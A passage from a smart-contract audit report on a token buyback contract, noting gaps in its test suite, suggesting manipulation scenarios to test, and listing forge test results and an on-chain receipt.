     From audit_math finding 4; confirmed. test_organicRiseOnlyDelays pokes once a day (and un-stalls only because of this explicit poke, not through the buyback attempts the comment on line 200 credits); test_dumpBracketDoesNotStall brackets one hour after the last update; the hourly-series tests update at exactly one hour; every scenario starts with the reference at or above the market and immediately runs a buyback.

     Suggested additions: (a) poke every N seconds for N in {1, 60, 800} over 10 days after a 10-20% rise and assert the buyback resumes within the documented window; (b) the pump-then-series scenario after a day of buybacks with holders selling the burned amount, and after a 35% bag sale plus a day of hourly pokes, asserting runs == 0 and no attacker profit; (c) one 2%-of-depth pre-buy after an idle day held across 24 buybacks; (d) a sell-poke-rebuy bracket a day after the last update.

     whole finding

     forge test --match-path test/PepesBuyback.t.sol on commit 2560653: 9 passed.

     The scratch tests test/scratch/PokeTruncationProof.t.sol, test/scratch/ReferenceAboveMarketProof.t.sol and test/scratch/FailedAttemptPokeProof.t.sol exercise those inputs and fail.

     The full non-fork suite (125 tests) passes, so no regression of earlier fixed findings was observed.

10. publishedaudit report
11. onchain
    1 receipt, 5 scoreson Ethereum mainnet

    receipt

    work accepted · transaction · record

    scores

    5 scores for reviewed on submission · all 5 passed · block 26,135,066 · transaction#1489#244#358#125#880